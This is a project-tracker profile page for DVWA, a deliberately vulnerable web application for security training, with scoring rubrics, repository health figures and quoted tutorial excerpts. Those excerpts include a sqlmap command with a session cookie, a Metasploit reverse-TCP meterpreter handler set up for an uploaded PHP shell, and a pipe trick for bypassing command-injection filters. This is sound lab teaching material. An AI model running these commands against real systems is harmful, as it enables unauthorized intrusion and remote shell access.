dvwa
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Intentionally vulnerable PHP/MariaDB web application for practicing common web vulnerabilities in a legal, controlled environment.
Summary
dvwa is an open-source PHP/MariaDB web application, free under the GPLv3, deliberately built full of vulnerabilities so people have something safe to attack. You self-host it, typically in a virtual machine kept off the open internet, since the project's own documentation warns it will be compromised if placed on a live or internet-facing server. It's aimed at security professionals sharpening their skills, web developers learning how vulnerabilities actually arise, and students and instructors running a classroom exercise, rather than anyone testing production code. It sits in the vulnerable-app training category alongside other deliberately broken labs used to teach web application security hands-on. First committed in 2013 and still active, with 82 contributors and 39 commits in the past year, though its last release was over eighteen months ago.
Intentionally vulnerable PHP/MariaDB web application for practicing common web vulnerabilities in a legal, controlled environment.
How dvwa helps
Which common web vulnerabilities can I actually practice exploiting before I meet them in the wild?
ships a set of modules covering vulnerability classes like SQL injection, command injection, CSRF and file inclusion, each with a working exploit path to walk through
Why did that exploit work on one level but fail on another?
the source for every level is viewable inside the app, so you can compare the vulnerable code against the fixed code line by line to see exactly what changed
Are there flaws here beyond the ones the exercise sheet tells me to find?
the project deliberately includes undocumented vulnerabilities alongside the documented ones, so hunting for the unlisted ones is part of the exercise itself
Languages
Command line
No command matches.
| option | found in | since | description |
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Values are placeholders taken from each option’s declared default. Nothing is executed here — the output shown is a recording of a run that already happened.
Score card
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Shipping velocity releases a month, last 12 months
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Documentation quality release-notes rubric, 0–100
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Breaking-change discipline how rarely a release breaks users, and notice given
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Maintenance risk quiet time against its own cadence, maintainers
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Innovation & surface new capabilities, API and MCP surface
- Community health
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Contributor trend distinct committers, this year against last
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Maintainer concentration bus factor now against a year ago
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Issue backlog trend issues closed per issue opened, 12 months
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Responsiveness median time to a maintainer’s first reply
Nine scores for dvwa, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.
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See plans → Already subscribed? Sign in →Trajectory
Blank means never measured; nothing here is a filled-in zero.
Peer standings are included with Researcher and Business. See how this tool ranks against its competitors, using data we don't publish anywhere else.
See plans →Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.
How this is scored
- Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
- Documentation quality — the release-notes rubric published on the analytics page, unchanged.
- Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
- Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
- Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
- Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
- Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
- Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.
Release-note detail over time
See how much detail dvwa puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.
Checking release-note history…
Releases
3 entries
No entries match these filters.
- October 20151
- May 20131
- September 20101
Project health
Issue, contributor and maintainer activity in digininja/DVWA, 2023-10 – 2026-09, as of 2026-09-25. Twelve-month figures first; the trend lines run the whole window.
- Contributors 10 ±0 vs prior 12 months
- Maintainers 3 +3 joined · −2 left, last 12 months
- Bus factor 1 committers behind half the commits
- Community-filed 96% of issues opened, last 12 months
- Median time to close < 1 day first maintainer reply 0.3 hours
- Open backlog 3 of 469 issues ever filed
- Issues opened / month 1 · 0 communitymaintainers
- Open backlog 3
- Contributors / month 1
- Commits / month 1
- Stars 13,675
- other 100%
Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this
Articles
3 articles · updated Nov 4, 2026Where dvwa turns up in what others publish: how-tos, attack reports that name it, and incident write-ups. A row says why it is here and quotes where the article names it; the link goes to the publisher.
Tutorials & guides 3
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Command Injection Exploitation through Sqlmap in DVWA (OS-cmd)
Requirement Xampp/Wamp Server DVWA Lab Kali Linux: Burp suite, sqlmap tool Very first you need to install DVWA lab in your XAMPP or WAMP server, read the full article from here Logging into DVWA and Setting Security…
2 more quotes
Come back and click on submit button in dvwa.
sqlmap -u "http://192.168.0.102/dvwa/vulnerabilities/sqli/?id=1&submit=submit" --cookie="security=low; security_level=0; PHPSESSID=9v3dfoh1j1n6pc1ea0ovm84ik2" --dbs Notice the image given below it has dumped all names…
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Hack File upload Vulnerability in DVWA (Bypass All Security)
In DVWA the webpage allows user to upload an image, and the webpage go through with program coding and checks if the last characters of the file is ‘.jpg’ or ‘.jpeg’ or ’.png’ before allowing the image get uploaded in…
2 more quotes
Come back to your DVWA lab and click to file upload option from vulnerability menu.
192.168.1.102:81/DVWA/hackable/uploads/hack.php msf > use multi/handler msf exploit(handler) > set payload php/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.104 msf exploit(handler) > set lport 3333…
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Command Injection Exploitation in DVWA using Metasploit (Bypass All Security)
Bypass Medium Level Security Click on DVWA Security and set Website Security Level Medium Use pipe “|” in command injection to bypass medium security of this server.
2 more quotes
Finally we have completed all three level low, medium, high in DVWA.
…https://www.owasp.org/index.php/Command_Injection First install the DVWA in your PC full article read here Now open the DVWA in your pc and login with following credentials: Username – admin Password – password…
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